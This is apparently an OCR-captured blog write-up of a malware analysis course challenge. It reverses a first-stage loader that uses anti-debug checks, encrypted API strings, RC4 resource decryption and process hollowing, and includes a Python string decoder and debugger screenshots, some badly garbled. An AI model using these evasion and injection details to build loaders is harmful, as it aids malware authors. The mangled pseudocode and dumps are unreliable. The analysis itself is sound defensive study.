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Zero2Automated

The road so far...

In this post, I will analyze the customized sample of the Zero2Automated: The Advanced Malware Analysis course,
which is presented to us when we reach the halfway point of the course. At this point, the course has already explored in a
deep and practical way subjects such as Cryptography Algorithms, Unpacking Methods, In-depth analysis of first and second
stages, development of automations for configuration extraction and communication emulation, in addition to various
methods of evading defenses such as Process Injections (a lot of them) and Anti-Debug, Anti-VM and Anti-Analysis

methods, and persistence methods.

Therefore, despite being halfway there, a lot of content was given until we reached this first challenge. And in this article,

we will explore customized sampling, with all the knowledge acquired in the course so far.

Incident Response Team Email (Storytelling)

Hi there,

During an ongoing investigation, one of our IR team members managed to locate an unknown sample on an infecte(
We're not too sure how much the binary has changed, though developing some automation tools might be a good i
I have uploaded the sample alongside this email.

Thanks, and Good Luck!

Binary Triage
In this section I will start my binary analysis triage methodology.

This triage that I do before carrying out more in-depth analyses, aims to identify some important information to identify

initial characteristics of the binaries, and answer some questions, such as:

e Is the binary packed/encrypted? Which sections of the PE binary contain these clues?
 Are there cryptographic operations using XOR, with the purpose of obfuscating code, strings, etc.?

» Are there some interesting strings, such as artifact names, commands, URLs, IP addresses, etc.?
With the answers to these questions, I begin to make decisions for the next phases of the analysis.

To collect this information, I used a tool that I developed (and am still developing), called re_triage, which aims to collect

primary information.

And when executing it, as we can see below, we are able to identify two sections (.text and .rsrc) of the binary that have

high entropy, and this can be a strong indication that the binary is packed.
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researcher@purple-lab

Sample Pat

t Hash

abac02ale6c908h90173e86c3e321f2bab082ed45236503a21eb7d984del0611

Binary Identi tion

The file sample is an executable (.exe)

Entropy of Artifact Sections

ction:
[!] Possibly Packed or Encrypted!

ction: .data

[!] Possibly Packed or Encrypted!

Due to the difference in entropy between the .text and .rsrc sections, we can assume that the .rsrc section contains the

second packed stage, while the .text may contain cryptographic operations, which consequently increase its entropy.

This assumption gains a little more strength, even when analyzing the output of my script, which shows several XOR

operations that resemble cryptographic operations, exactly in the .text section (with low entropy compared to .rsrc).

pattern identified through the XOR operation!

In addition to the information focused on entropy, possible cryptographic operations and packing patterns, it is also possible
to observe in the output of my script, that this sample contains some functions related to Anti-Debug techniques,
Process/Thread Enumeration and possible execution of some technique Process Injection, in addition to functions that

may have the ability to drop other stages of the infection.
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Now that we have an overview of the sample’s possible capabilities and characteristics, we will validate this information and

identify new capabilities in more depth.

Identifying the Anti-Debug Implementation

In order to identify the sample flow, and identify if it is packed, and if before reaching the unpacking process it will

implement any of the Anti-Debug techniques that we identified in the previous section, we will start the reverse engineering

process , to identify the current stream of this sample.

When opening the sample in IDA, we are redirected directly to the sample’s main function. However, before the main

function, there is a function that executes Anti-VM and Anti-Debug techniques, before loading the main function. In the

image below, we can see that mainly the anti_debug function, if true, the program goes to the exit flow of the process.

1
2

int _ usercall|pre main@keax>(int paraml@<ebx>, in
{

ram2@<edi>, int param3@<esi>)

DWORD *vé;
DWORD *v53
int *v6; //
int *v7; //
const char **main param 3; //
const char **main param !
int *main param 1; // e
volatile LONG *v1l; //
LONG v12; // |
LONG v13; // [esc
char v14; // lesp+l(
UINT uExitCode; //

if ( [[EnEti_vm opu reutine(n)

|| (LOBYTE(paraml) = 0, vl4 = InterlockedCompareExchange ( r v ), dword_414c9c == 1) )

4
[enti_debug (paraml, param2, param3, Tu);]
|goto TerminateProcess_AntiDebug; |

00CTF pre_main:19 (40187F) (Synchronized with IDA View-A, Hex View-1)

At the beginning of the anti_debug function, the sample executes the IsProcessorFeaturePresent function, to collect

availability information about the _fastfail feature.

22| unsigned int v23; //
/.

IDA View-A X Pseudocode-B X | @  HexView-1 X [E Enums X = Imports x & Exports

264h

i t 8h] BYREF

struct _EXCEPTION_POINTERS ExceptionInfo; // [esp+324h]
int anonymousl; // [e
__int32 savedregs; //

] BYREF

BYREF

if ( IsProcessorFeaturePresent (PF_FASTFAIL AVAILABLE) )// Identifies whether the CPU resource is supported
// by the device hardware
__fastfail(ad); // Immediately terminates the calling process with minimal overhead.

ZeTo (I
w19 = sub_4025B0 (v, 0, 0x2CCu);
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At the end of the anti_debug function, this is where the execution of the IsDebuggerPresent function is found, in addition
to the use of the SetUnhandledExceptionFilter and UnhandledExceptionFilter functions, also as complements in the

execution of the tactical objective of Anti-Debugging.

IDAView-A X Pseudocode-B X | [@  HexView-1 X | [E Enums X
49 v24 = gsavedregs;
50 vS[0].m128i 132[0] = 65537;
51 v20 = anonymousl;
52 sub_4025B0(v26, 0, 0x50u);
53 v26[0].ml128i i64[0] = 0x140000015i64;
54 v26[0].m128i i32[3] = savedregs;
55 | return isdebbugerpresent = IsDebuggerPresent(); |

56 ExceptionInfo.ExceptionRecord = (PEXCEPTION RECORD)vZ26;

57 ExceptionInfo.ContextRecord = (PCONTEXT)wS;

58 var return is bugerpresent = return is bugerpresent;

59 SetUnhandledExceptionFilter (0);

60 if ( !UnhandledExceptionFilter (&ExceptionInfo) && !var_ return bbugerpresent )
61 zero();

62 |}

000011FD[anti_debug]55 (401DFD) (Synchronized with IDA View-A, Hex View-1)

Reversing the Main Function

After identifying the implementation of Anti-Debugging techniques, in this section we will focus on analyzing the main

function of the sample.

As soon as we open the main function, we come across the implementation of API Hashing/String Encryption, with the

purpose of obfuscating API calls and consequently hiding their main capabilities.

Just for the purpose of clarifying what API Hashing or String Encryption is, and how adversaries implement this evasion

technique, below is an illustration of the hashing process using the Sleep API as an example.

Custom Compiler

Source Code Custom Encryption Algorithm

Binary

Sleep(1000;) |~ func_encrypt_string('kemel32.dII') = 0xcd3308ch
\> Kernel32isieep |

> func_encrypt_string('sleep’) ——>

DWORD ptr_sleep
ptr_sleep = func_decrypt_string(0xcd3308cb, 0xdb2f49b0)

ptr_sleep(1000);

Now that we know the API hashing process, below we can see this same technique being implemented in the main function.

T IDA View-A 0 @ ® | [ Pseudocode-A oe

401414 push i s 10 charw
0115
01416
01818
01820
401425
01422
401430
401435
01437

401851 Dush  offeet aSeasgpyd ; ".5eas/QPvd
401456 call  edi ; Loadlibraryh A, asdatestbhedsn) ;
401358 Dush  offset aYbldeSfbheds ; "ybliEStbhed

; hiodule

. avbliestones) ;

apyd) ;
5beE = GetProcAddress(v7, aPmSb6eSfbhe3s);
sub_401300 (avn3e5 £bhe3s)

1) eSaiESEEReEn) (0, 101, 10);
),
£bhe35) (0, ¥10);

Getprach:

ddress
, offset avbIESbhe3s ; "yb3.ESe

401484
401386

onized with TDA View-A, Hex View-1)

As you can see, the API Hashing technique is implemented in the main function, along with the technique for resolving

these APIs dynamically (through LeadLibraryA and GetProcAddress) with the purpose of making analysis more difficult

and trying to evade defenses.
Above we can see the following pattern:

o The sub_401300 function is executed, receiving an encrypted string as an argument.
o After this, the return from the execution of LoadLibraryA and GetProcAddress is received in variables, which
receive the string, possibly decrypted, as one of the arguments. Thus, carrying out the execution of the library and

function that refer to these encrypted strings.

This is repeated throughout the main function code. If we check the Microsoft documentation regarding the LoadLibraryA
function, we can see that the purpose of loading a library (DLL) in the process’s memory scope, in which its name must be

passed as an argument.
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HMODULE LoadLibraryA(
[in] LPCSTR 1pLibFileName
)i

We can see this exact pattern in the pseudo-code above, where LoadLibraryA is receiving the string ‘a5ea5Qpy4‘ (or
‘.5ea5/QPY4//) as a parameter. Therefore, we can assume that this string is a library that will be decrypted by the
sub_401300 function, and passed as an argument to LoadLibraryA to load it.

If we also look at Microsoft’s documentation regarding the GetProcAddress function, we can see that it also follows the

pattern observed in the pseudo-code.

FARPROC GetProcAddress(
[in] HMODULE hModule,
[in] LPCSTR 1pProcName
)i

In other words, through the GetProcAddress implementation code, we can validate that in the main function, the following
flow is followed:

e The name of a library is decrypted;

» The name of a function is decrypted;

The LoadLibraryA function receives the decrypted name of the library as an argument, with the aim of loading it
into the process’s memory scope;
o The GetProcMemory function receives the handle of the library loaded by the LoadLibraryA function, and the

decrypted name of a certain function belonging to the library in question.

If we check the xrefs of the sub_401300 function, we are able to observe that it is widely used, repetitively in the main and
sub_401000 functions.

xrefs to sub_401300 X

Direction Typ Address Text

EiUp p sub_401000+65 call sub_401300
Up p |sub_401000+6F call sub_401300
Up p [sub_401000+BF call sub_401300
Up p [sub_401000+F5 call sub_401300
Up p [sub_401000+128 call sub_401300
Up p [sub_401000+147 call sub_401300
Up p [sub_401000+191 call sub_401300
Up p [sub_401000+26C call sub_401300
Up p [sub_401000+28D call sub_401300
p [_main+1B call sub_401300
Do... p |_main+25 call sub_401300
Do... p |_main+4C call sub_401300
Do... p |_main+67 call sub_401300
Do... p |_main+86 call sub_401300
Do... p |_main+F5 call sub_401300

Perfect. But without knowing exactly which library and functions are being used, our analysis will be a little difficult to
carry out. Therefore, let’s analyze the sub_401300 function, to understand how this function performs the string decryption

process. Below is the pseudo-code of the API decryption function.
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Pseudocode-A

11 unsigned int v9; // eax

12 const char *vll; // [esp+8h] [ebp-4Ch]

13| char v12[68]; // [esp+Ch] -48h] BYREF
14

15 vll = al;

16 vl = 0;

17 if ( (int)strlen(al) > 0 )

18 {

19 do

20 {

21 v3 = allvll;

22 stropy(vl2, "abedefghijklmnopgrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ01234567890. /=");
23 v4 = sub_4038F4(1);

24 v5 = sub_402180(v12, v3);

25 if (w5 )

26 {

27 v6 = v5 - (_DWORD)v12;

28 v7 = strlen(vl2);

29 if (vE + 13 < v7 )

30 v8 = v6 + 13;

31 else

32 v = v6 - v7 + 13;

33 vd = v12[v8];

34 }

35 v11[vi++] = v4;

36 v9 = (unsigned int)&vll[strlen(vll) + 1]1;
37 al = vl1l;

38 v2 = v9 - (_DWORD) (v1ll + 1);
EE] ¥

40 while ( vl < w2 );

41 }

42 return vZ;

43 |}

00000700 sub_401300}12 (401300) (Synchronized with IDA View-A, Hex View-1)

If we look closely, the algorithm is very simple to understand, it consists of a table of strings and the use of this table as an

index to perform substitutions throughout the code.

I developed the Python version of this algorithm, and you can find the code below.

def decode_string(encrypted_string):

index = @
substitution_table = "abcdefghijklmnopqrstuvwxyzABCDEFGHIIKLMNOPQRSTUVIXYZ01234567890. /="

while index < len(encrypted_string): # Main loop to decode each character in the string
current_char = encrypted_string[index] # Get the current character
new_char = substitution_table[@] # Obtain the new character based on the substitution table

char_index = substitution_table.index(current_char) if current_char in substitution_table else None

if char_index is not None: # Update the new character based on the substitution logic
table_index = char_index
table_length = len(substitution_table)
new_index = (table_index + 13) if (table_index + 13) < table_length else (table_index - table_length + 13)

new_char = substitution_table[new_index]

encrypted_string = encrypted_string[:index] + new_char + encrypted_string[index+1:] # Modify the original str:

index += 1 # Move to the next character
return encrypted_string
encrypted_string = input("\n\@33[1;35mPut here the encrypted strings (multiple strings separated by comma):\@33[m ")
list_encryp_strings = encrypted_string.split(',")
for decrypt in list_encryp_strings:

decrypt_strings = decode_string(decrypt)
print(f"\nThe encrypted string \033[1;34m{decrypt}\033[m is \033[1;31m{decrypt_strings}\@33[m\n")

Below, we can observe the execution of this script, to decrypt all strings decrypted by the sub_401300 function.
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researcher@purple-lab:

Put here the enc
5 vb3.ES

35 E5fbhe

Now that we know which libraries (DLLs) and functions are being loaded and called by the main function code, we can
rename variables and strings in order to make the code more readable. Below is the documented version of the main
function.

string_decryption (kernel32_dil);

string_decryption(::FindResourcea) ;
L LoadLibrarya (kernel32_dll)

ResourceA = GetProcAddress (L
ing decryption(::LoadResource) ;
LoadLibrarya (kernel32 dl1l
L ource = GetProchddress (v5, ::LoadResource);
string decryption(::SizeofResource) ;

7 = LoadLibrarya (kernel32 dll):
izeofRescurce = GetProcAddress(
string decryption (::LockResource) ;

2 = LoadLibrarya (kernel32 dll);

sraryh, ::FindResourced) ;

. ::SizeofResource) ;

. t:LockResource) ;
call *) (_DWORD,

sciate
all *) (_DWORD, int))SizeofRes

source = ((int (
10 * *(_DWORD *)
string decryption(::Virtualalloc);
v13 oadLibrarya (kernel32_dll);
tProcAddress (v13, ::Virtualalloc);

call *) (_DWORD, signed int, MACRO_MEM, int))Virtualalloc) (

tr_resource x10,
MEM_COMMIT,

61 optimized memory copy func SSE({(unsigned int)LockResource,

specified resource + 28, ptr resource x10);

In the pseudo-code above, the main function loads the kernel32 library, and calls several functions to locate and manipulate
a certain resource, which cannot be identified statically, and allocates it in a memory space through the VirtualAlloc
function.

Now let’s move on to the second and final part of the main function code, which can be seen below.

62

63

64

65

66 ;3 < 0x100; ++7 )

67

68 v 1.m128i i8[3];

69 v 8 + *(_BYTE *) (j % OxFu + r

70 v1i9 &v31.m128i i8[v15];

7L v3l.m128ii8(5] = *v1%; » Decryption of the resource
72 v19 v18; yp .

73 allocated in memory
74

75

76 v20 < ptr_resource_x10; k = v30 )

7

78 v31.m128i_i8[(unsigned int8)++v21];

79

80

81 01 ;

82 i

83 *

84 *((_BYTE *)LockResource 4 v204+) A= v31.ml28i u8[(unsigned int8) (v24 + *v23)];

85 1

86 dynamic_string decrypt_create_proc(LockResource); . .
97 |return 0; Call of another function that decrypt more strings
88 )

and create a process

008BC _main:49 (E314BC) (Synchronized with Hex View-1, IDA View-B)

In the pseudo-code above, we can observe that after carrying out the process of resource manipulation and allocation of this

resource in memory, said resource is decrypted using an algorithm that contains the RC4 pattern (the 0x100 value in a loop).

After the decryption process, the function (named by me, and was tagged as sub_401000, previously identified in the xrefs
of the string decryption function) dynamic_string_decrypt_create_proc is called, which receives the resource as an

argument. The name I gave the function is very suggestive, but below, we will explore it in more detail.

Page 7 of 28



https://0x0d4y.blog/zero2automated-custom-sample/

Reversing the dynamic_string_decrypt_create_proc function
In this section, I will describe the analysis of the dynamic_string_decrypt_create_proc function.

In this function, we see the use of the string decryption function equally used as in the main function. However, this function

has a specific purpose as we will identify throughout this section.

Below, we can see that at the beginning of the pseudo-code of the dynamic_string_decrypt_create_proc function, it loads
the CreateProcessA API and executes it, creating a process in a suspended state. The code then loads and executes the
VirtualAlloc API to allocate memory space with read, write, and execute permissions. The return from VirtualAlloc
execution is the base address of the allocated memory space, which is passed as an argument to the GetThreadContext API

execution (also decrypted and loaded).

IDA View-A X Pseudocode-B X | [0 Hex View-1 X @& Structures. x @ Enums. X =@ Imports x @
31
32| resource new len = (_DWORD *) ((char *)LockResource + LockResource[15]);
33| var_resource new_len = resource new_len;
34 GetModuleFileNameA (0 licationName, 1024u);
35 if ( *resource new_len 7744 )
36 return 1

37 process = 0i64;
38 sub E325B0(array, 0, Ox44u);
string decryption (kernel32 dil);

string d : ; » Decrypt libraries and function names
41 Kernel3Z = dLibraryA (kernel32_dIT);
42 reateProce: = 11Get (Kernel32, )i

43 4E (1(Gnt dcall +) (CHAR *, _DWORD, DWORD, _DWORD, _DWORD, int, _DWORD, _DWORD, _m128i *, _int128 +)[CreateProcessal (]
aa LoApplication)

45 0,

46 0,

47 0
Create a process in Suspended state
i i 7/ CREATE_: :/ P s 0
50 0
5 R o Allocate a memory space with
22 &ilm‘eaﬁ ) PAGE_EXECUTE_READWRITE flag
return 1;

55 string decryption(virtual alloc);

56 kernel32 = LoadLibraryA(kernel32_dll);
57| Wirtualalloc = siGet 2132, virtual all
58 address ated = (_DWORD *) ((int (_stdcall *) (_DWORD, int, int, int))Virtualalloc) (0, 4, 4096, 4);// PAGE_EXECUTE READWRITE
a ed = 65543;

60 string decryption(::GetThreadContext);

61| kernel 32 = LoadLibrarya (kernel32 dll);

2 GetThreadContext = (HMODULE) : (kernel 32, :
@ if ( !1((int (__stdcall *) (_DWORD, _DWORD *))GetThreadContext) (DWORD1(process), base address allocated) )| — g Get the Thread
o Context
65 [0 i
66 LoadLibraryA (kernel32_dl1);
67 Memory = (HMODULE) s :GetProcAddress (LibraryA, ::ReadProcessMemory);

68 string decryption(::WriteProcessMemory) ;
69 kerneld2 1 = LoadLibraryA(kerneld2_dll);
70| writ, = (HMODULE) 1 (kernel32 1, :sWriteProcessMemory) ;
((void (__stdcall *) (_DWORD, int, char *, int, _DWORD))ReadProce ry) (
00000429 dynamic_string_decrypt_create proc:31 (E31029) (Synchroni. th Hex View-1, IDA View-A)

After executing the activities above, the function will read, allocate and write to the memory space of the process in a
suspended state, as we can see below.

IDAView-A X | Pseudocode-B X \ B HexView-1 X Structures x |B@ Enums X
65| string decryption (::ReadProcessMemory) ;
66| Librarya = LoadLibrary(kernel32_dll);
67| ReadProcessMemory = (HMODULE)::GetProcAddress (LibraryA, ::ReadProcessMemory);
66 | string decryption(::WriteProcessMemory);
69| kernel32 1 = LoadLibraryA(kernel32 dll);

70 WriteProcessMemory = (HMODULE)::GetProcAddress(kernel32 1, ::WriteProcessMemory);

71| ((void (__stdeall *) (_DWORD, int, char *, int, _DWORD))ReadProcessMemory) (

72 process, // Process Handler

73 base_address_allocated[41] + 8, // lpBaseAddress

74 a7,

5| 4, Reads, allocates and writes to the memory of the process|
76 0); .

77| string decryption(::virtualalloemn; |Createdinsuspended mode.

78| v12 = LoadLibrarya(kernel32 dll);
rocAddress 1 :GetProcAddress;
ualAllocEx = (HMODULE)::GetProcAddress(vl2, ::VirtualAllocEx);

81| v22 = resource new_len + 13;

82| new base_addr_allecated = ((int (__stdcall *) (_DWORD, _DWORD, _DWORD, int, int))VirtualAllecEx) (

83 process,

84 rescurce new len[131,

85 resource new_len[20],

86 0x3000,

87 0x40) ; // PAGE_EXECUTE READWRITE

88 stdeall *) (_DWORD, int, _DWORD *, DWORD, _DWORD))WriteProcessMemory) (

89

90 v _addr_allocated, - - - —
91|  LockResource, Possibly for second stage execution via remote process injection
92 resource new lenl[21],

93 )

And as a final action, the function will finally execute the Thread of the suspended process.
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IDA View-A X Pseudocode-B X | [@  HexView-1 x & Structures x |2 Enums X
89 process,
90 new_base_addr allocated,
91 LockResource,
92 resource new_len([21],
93 0);

94| counter = 0;
95| 4if ( *((_WORD *)var resource new len + 3) )

96 {

97 v1iEe = 0;

98 do

99 1{

100 ((void (__stdeall *)(_DWORD, int, char *, _DWORD, _DWORD))WriteProcessMemory) (

101 process,

102 new_base_addr_allocated + *(_DWORD *) ((char *)&LockResource[vl6 + 65] + LockResource[15]),
103 (char *)LockResource + *(_DWORD *) ((char *)&LockResource[vl6é + 67] + LockResource[15]),
104 # (_DWORD *) ((char *)&LockResource[vl6 + 66] + LockResource[15]),

105 0);

106 ++counter;

107 vl6 += 10;

108 }

109 while ( counter < #((unsigned _ int16 *)var resource new len + 3) );

110 GetProcAddress = ::GetProcAddress;

111 }

112 ((void (__stdcall *) (_ DWORD, int, _DWORD *, int, _DWORD))WriteProcessMemory) (

113 process,

14| base address allocated[8ll + 8, poggible execution of the second stage, on remote
115 v22, !

16| 4, malicious process

117 0);

118[ string decryption(::SetThreadContext);

119 kernel32 2 = LoadLibraryA(kernel32 dll);

120| SetThreadContext = GetProcAddress(kernel32 2, ::SetThreadContext);

121| string decryption(::ResumeThread);

122| kernel32_3 = LoadLibraryA(kernel32 dll);

123 ResumeThread = GetProcAddress(kernel32 3, ::ResumeThread);

124| base_address_allocated[44] = new_base_addr_allocated + var_resource_new_len[10];

125 ({void (__stdeall *)( DWORD, DWORD *))SetThreadContext) (DWORDI(process), base address allocated);
126 ((void (__stdeall *)(_DWORD))ResumeThread) (DWORD1 (process)) ;

127| return 0;

128 [}

00000429 dynamic_string decrypt create proc:128 (E31029) (Synchronized with Hex View-1, IDA View-A)

The flow of actions performed in this function is very similar to the Process Hollowing technique.

I think that so far, we can understand that this sample we are analyzing is the first stage that will decrypt the second stage

and inject it into the memory space of a child process, created by itself.

Let’s continue with our dynamic analysis, with the purpose of identifying the second stage and extracting it from memory,

with the aim of reversing it and understanding the actions that will be performed in the second stage.

Identifying and Extracting the Second Stage

As we were able to identify in the previous section, sampling is just a first stage, which will decrypt a second stage via the

RC4 algorithm, create a child process, and inject the second stage into its memory scope.

Now that we know how the first stage code works, let’s set some strategic breakpoints, to identify the second stage before it

is injected into another process, and identify which process is the target of this injection.
To do this, we need to set some breakpoints in:

o Before performing decryption using the RC4 algorithm, with the purpose of monitoring the decryption process, and
identifying the decrypted binary in memory so that we can extract them.

o CreateProcessA: as we know, this API is called indirectly, with the purpose of complicating our analysis and
evading detection. However, as we already know the code for this sample, we know the address where we will set our

breakpoint.

VirtualAllocEx: to try to extract the second stage.

* WriteProcessMemory: for the purpose of identifying which data will be written to the memory scope of which
process.

» ResumeThread: with the aim of identifying the exact moment when the second stage will be executed in the remote

process.

o IsDebuggerPresent: as we saw that it will be executed, before the main function is executed

Below we can observe the selected breakpoints.

By [ilog  [fnotes  © bredgonts  MAMemoyMap () Callstak  S@sed ol supt @ symbos <> Sowce S References W Tiweads  dhitandes ¥ Trace

‘Address |moduTe/L on State Hits| summary.

Type
Software

TEnabled | Trdirect CreaterrocessA APT call

Indirect Threadresume APT call [Possible Second Stage Execution]
Breakpoint before RC4 routine

T
0
o
0 |second indirect writerrocesMenory APT call
o
o
0 |Fossibie anti-debug Feature

002E15343 | main_bin. exe dd_esp, 15
002E 107D | main_bin. exe Enabled |Eall dwbrd ptr ds: [<IsDebuggerpresent>]

Now that we have established each breakpoint, let’s move on to the dynamic analysis.

Interestingly, our IsDebuggerPresent breakpoint was not triggered, and we went directly to the breakpoint before the RC4

routine loop.
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% main_bin.exe - PID: 16264 - Module: main_bin.exe - Thread: Main Thread 12036 - 32db [Elevated]

Fle View Debug Tradng Plugins Favourites Options Help Dec 42023 (TitanEngine)

ERLIEA AT RN KA iS00 N 5

By [Slog  [lnoes @ Breslponts M MemoryMap  [JCalSack  Spsed  [o/sapt  @symbos <O Sowce S References W Tweads M Handes  §1 Trace

83C4 18 add esp,18 Breakpoint before RCA routine
002E1546 33C0 Xor eax,eax
002E1548 OF1F8400 00000000 nop dword ptr ds:[eax+eax], eax
002E1550 888405 FBFEFFFF mov byte ptr ss:llebp+eax-108],al
002E1557 40 inc eax
002E1558 3D 00010000 cmp_eax, 100
002E155D [ 3T matn-bin 2ET
002E155F 8BBD ECFEFFFF mov edi,dword ptr ss:[lebp-114])
88;E£25 ééFg 1F8400_00000000 Fo es1des1 d:

E1567 - OF 1F nop word ptr ds:[eax+eax] ax i
002E1570 BAGC35 FBFEFFFF mov DT,Dyte pir ss:lebp+esi- RC4 loop routine
002E1577 B8 89888888 moy eax,B8888889 /
002E157C F7E6 mul esi
002E157E 8BC6 mov eax,esi el
002E1580 CIEA 03 shr edx,3
002E1583 8BCA moy ecx, edx
002E1585 CIE1 04 shl ecx,4
002E1588 2BCA sub ecx,edx
002E158A 28C1 sub eax,ecx
002E158C 8D8D rsrzrrrr Tea ecx,dword ptr ss :[febp-108])
002E1592 OFB644 movzx_eax,byte ptr ds:[eax+edi:C]
002E1597 023 add al,bl
002E1599 02F8 add bh,al
002E1598 OFB6CT movzx eax,bh
002E159E 03C8 add ecx,eax
002E15A0 OFB60L movzx eax,byte ptr ds:[ecx]
002E15A3 888435 FSFEFFFF mov byte ptr ss: [ebp+es1 108],al
002E15AA 46 inc esi
002E15AB 8819 mov byte ptr ds:[ecx],bl
002E15AD 81FE 00010000 cmp esi,100
002E1583 L~ 7C BR 31 main bin 2E1570

It is possible to identify that at the address ss:[ebp+eax-108], the first loop writes data during its execution.

# main_bin.exe - PID: 16264 - Module: main_bin.exe - Thread: Main Thread 12036 - 32db [Elevated]

Fie WView Debug Tradng Plugins Favourites Options Help Dec 42023 (TitanEngine)

CoE S0 tawd taleEsRhis nE RS

By [Flog  [fNotes  ® Breakpoints ™8 MemoryMap  [J)CalStack SRSEH [0 Swipt @ Symboks < Source S References W Threads @b Handes  §7 Trace

83C4 18 add esp,18 Breakpoint before RC4 routine
33co Xor eax,eax

OF1F8400 00000000 nop dword ptr_ds:[eax:eax] eax
888405 FBFEFFFF mov byte ptr[ss:Tebp eax-108T] al
40 i

inc eax

3D 00010000 cmp eax, 100

- 7 ]1 main’bin.2E1550
8BBD ECFEFFFF ov edi,dword ptr ssfllebp-114]
33F6 o e

66:0F1F8400 00000000 |nop word ptr ds: [eaj+eax],ax
8A9C35 FBFEFFFF me :flebp+esi-108]
B8 89888888 moy ea.x 38383839

<
=
o
o
o+
o
v|

F7E6 mul esi
8BC6 mov eax,esi
C1EA 03 shr edx,3
8BCA moy ecx, edx
(151 04 shl ecx,4

sub ecx,edx
sub eax,ecx

SDSD FSFEFFFF Tea ecx,dword pty ss:|[febp-108]

OFB64438 movzx_eax,byte pfr ds: [eax+ed1+(]
3 add a1,

02F8 add bh|

OFB6C7 movzx eax,bh

03c8 add ecx,eax

OFB601 movzx eax,byte ptr ds:[ecx]

888435 FBFEFFFF mov byte ptr sq:llebp+esi-108],al

46 inc esi

8819 mov byte ptr dp:[ecx],bl

81FE 00010000 cmp esi,100

~ 7C BB i1 main_bin.2¢1570

byEe pr ss:[byce per s5: [ebpreax'1-1081]-[00L0rE261-0
al=8

text:002E1550 main hin.exe:$1550 #950

Woump 1 @loump2  @Woump3  @Moumpd  Gloumps @ wathi  eeliocals }“rm
Address [Hex ASCIT
0019FE20|00° 01 02 03|04 05 06 07[00 00 00 00[00 00 00 OO[L...
0019FE30[00 00 00 00|00 00 00 00|00 00 00 00(00 00 00 00f.

0019FE40 5
0019FE50|00 00 00 00|00 00 00 00|00 00 00 00(00 00 00 00.
0019FEG0| 00 00 00 00 (00 00 00 00|00 00 00 00(00 00 00 00 .
0019FE70|00 00 00 00 (00 00 00 00|00 00 00 00(00 00 00 00 .
0019FEB0| 00 00 00 00 (00 00 00 00|00 00 00 00(00 00 00 00 .
0019FE90[ 00 00 00 00 (00 00 00 00|00 00 00 00(00 00 00 00 .
0019FEA0| 00 00 00 00 (00 00 00 00|00 00 00 00(00 00 00 00 .
0019FEBO| 00 00 00 00 (00 00 00 00|00 00 00 00(00 00 00 00 .
0019F

=
s
o
1S3
=
s}
3
S
=]
2
o
3
=
s}
3
S
=]
2
o
3
=
s}
o
S
=]
3
o
3
=
s}
o
S

At the end of the loop, we see two character structures, the first appears to be the alphabet, and the second a set of

apparently random data.

38 main_bin.exe - PID: 16264 - Module: main_bin.exe - Thread: Main Thread 12036 - 32db [Elevated]

Fie Vew Debug Tracng Pugns Favourtes Options Help Decd 2023 (Ttarngine)

ELLIEY BT I EYN FATZ2 209 Y |

Bl ceu | iog  [Netes  ® Greskponts M MemoryMsp [ CalStack  SnSeM ol serpt @l ymbok ) Source . References W Threads M Handes 7 Trace

83C4 18 add ecsp,18 Breakpoint before RC4 routine
33co xor
OF1F8400 00000000 nop
888405 FBFEFFFF mov b
inc ea
3D 00010000 cmp eax 100
~ 7C F1 31 main_bin.2E1550
g— 8BBD ECFEFFFF mov edi,dword ptr fs:[ebp-114]
F es1,esi
66: 0F 1F8400 00000000 Hop word ptr ds: [fax+eax],ax
2aGC25 cRCEC move b1 bhita ntr de-Fahn o 1020

[edi=00015400
dword per ss:[dword ptr ss:[ebp-114]1]1=[0019FE14 " /"I=main_bin. 002F6060
TexT:002E155€ main hin.exe:$155F #95E
Weoump 1 @oump2  @Spump3  Woump4  EMoumps @ watchi  Iellocls 7 sw&
Hex ASCIT
0 B °

I\EETESS
0019FE20
0019FE30 (10 11 12 13|14 15 16 17(18 19 1A 1B|1C 1D 1E 1F|.....
0019FE40 (20 21 22 23|24 25 26 2728 29 2A 2B |2C 2D 2E 2F | F"#§%&' (OF+.-./
00IOFES0 |30 31 32 33|34 35 36 3738 39 3a 3B |3C 3D 3E 3F [0123456789:;<=>7
Q0LOFEGO (40 41 42 43|44 45 46 47|48 49 4A 4B |4C 4D 4E 4F |@ABCDEFGHIJKLMNO
0019FE70 |50 51 52 53|54 55 56 57|58 59 5A 5B (5C 5D 5E 5F [PQRSTUVWXYZ[\1A_|
0019FEB0 |60 61 62 63|64 65 66 67 (68 69 6A 6B|6C 6D 6E 6F | abcdefghijklmnol
0019FEQ0 (70 71 72 73|74 75 76 77|78 79 7A 78|7C 7D 7E 7F |parstuvwxyz{|}~.
0019FEAQ (80 81 82 83(84 85 86 87 |88 89 BA 8B |8C 8D 8E 8F |........
0019FEBO |90 91 92 93|94 95 96 97 (98 99 9A 9B |9C 9D 9E 9F|. o
0019FECO |AD AL A2 A3|A4 A5 AG A7 |AB AD AA AB |AC AD AE AF| [{fr¥|§ 0%
0019FEDO |BO B1 B2 B3 |B4 B5 B6 B7 B8 BY BA BB|BC BD BE BF |*=23 pfl- 10N,
0019FEEQ [CO C1 C2 C3|C4 C5 C6 C7|CB C9 CA CB|CC CD CE CF AAAAAAMLLLH 11
D1 D.

g
o
2
o
5/
o
=
R
o
o
e
o
9
=l
@
=
o
=
S
=
@
=
sl
=
S
=
m
=

QuE

0019FEFO | De D4 D5 D6 D7
0019FF00 (EO E1 E. E4 E5 E6 E7
|0019FF10 FO F1 F. F4 F5 F6 F
0019FF20 |00 _00 2 D4 7B OB 29
0019FF30 | O: 28 OB 67

D.
E
E
0
00 00 0 0
0019FF40 |93 18 2E 0 Q
Q019FF 50 000000 0 00°0¢ 00 0
0
0
0
0
0

0019FF60 |CC FE 19
0019FF70 |80 FF 19

0019FF80 | DC_FF 19
0019FF90 |00 00 00

0019FFAQ |00 00 00
0019FFBO |00 00 00
0019FFCO |00 00 00 00 |8C FF 19 00
0019FFDO |30 AF DC 77 |DF DF 4E D8
0019FFEQ |3E_7C DB 77|00 00 00 00
0019FFFO |00 00 00 00|93 18 2E 00

=
3
=
3
=
3|
=
SSd
EEEEEEEE EE e e ulls]
SEERSE =

At the end of the second loop, the entire possible alphabet that we saw previously was transformed into pseudo-random data.
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ﬁ main_bin.exe - PID: 16264 - Module: main_bin.exe - Thread: Main Thread 12036 - 32db [Elevated]

Fle View Debug Tracng Plugns Favourites Options Help Dec 4 2023 (TitanEngine)

coE 0t %ét MBIl 2L HE

B cru | s#log [ 1 Motes ® Breakpoints P MemoryMap [/ CallStack  SmSEH o) Saipt %] Symbois <% Source ' Refe
